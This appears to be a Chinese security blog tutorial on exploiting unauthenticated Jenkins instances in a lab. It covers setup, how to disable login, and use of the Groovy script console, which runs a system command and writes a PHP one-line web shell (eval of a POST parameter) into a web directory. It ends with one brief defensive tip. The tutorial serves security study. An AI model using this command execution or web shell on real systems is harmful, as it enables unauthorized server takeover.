【Jenkins】未授权访问漏洞

一、漏洞介绍

1 ) Jenkins介绍

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

  1. 用于持续性、自动的构建/测试软件
  2. 项目监控或跑一些定时任务
  3. 监控外部调用执行的工作

2 ) 漏洞原因

Jenkins系统后台中可以执行系统脚本命令,(本作用是故障排除和诊断使用)

3 ) 利用条件

  1. 使用低版本的Jenkins,默认没有登录控制
  2. 有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
  3. 控制台使用了弱密码

二、环境配置

2.1 配置主机

受害者IP:192.168.253.128

系统内核版本:
在这里插入图片描述

2.2 下载安装

下载一: 镜像站下载(优点:下载快;缺点:不支持所有版本)

  • https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/
    在这里插入图片描述

下载二: 官方下载(优点:版本全;缺点:下载慢)
官方下载系统内核对应的安装包(这里是rpm包安装方式)

》》安装
在这里插入图片描述
》》启动服务
在这里插入图片描述
》》防火墙配置(略,关闭防火墙/开通8080端口皆可)
》》浏览器访问8080端口进行 安装配置
在这里插入图片描述
》》解锁
在这里插入图片描述
》》安装插件
》》创建管理员账户
在这里插入图片描述
》》成功登陆,退出后发现之前admin的密码没有
在这里插入图片描述

忘记jenkins账户密码怎么办?(如使用rpm包安装使用此种方法!)
》》编辑jenkins全局配置文件(/var/lib/jenkins/config.xml)
在这里插入图片描述
》》取消掉使用密码
在这里插入图片描述
》》重置jenkins服务
systemctl restart jenkins / /etc/init.d/jenkins restart
》》然后再次访问web站点
在这里插入图片描述
》》启用安全性,选择jenkisn自己的数据库,点击保存
在这里插入图片描述
》》点击设置,配置管理员密码
在这里插入图片描述

三、漏洞利用

3.1 信息收集

Nmap扫描对方web服务:(不限于8080默认端口)
在这里插入图片描述
访问8080端口,如果没有登录限制如下这种情况:

Tips:以下这种情况有两种方式

  1. 低版本的jenkisns默认安装启动服务
  2. 配置中将登录密码验证关掉了(false)

在这里插入图片描述

3.2 漏洞利用

》》点击系统管理
在这里插入图片描述
》》点击脚本控制台
在这里插入图片描述
》》执行并打印系统命令

println "hostname".execute().text
1

 
 
  • 1
  • 2

在这里插入图片描述
如果知道web站点目录可写入一句话shell:(这里使用php站点举例)

new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');
1

 
 
  • 1
  • 2

四、防御建议

  1. 配置Jenkins登录验证(只要不能进入控制台即可)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值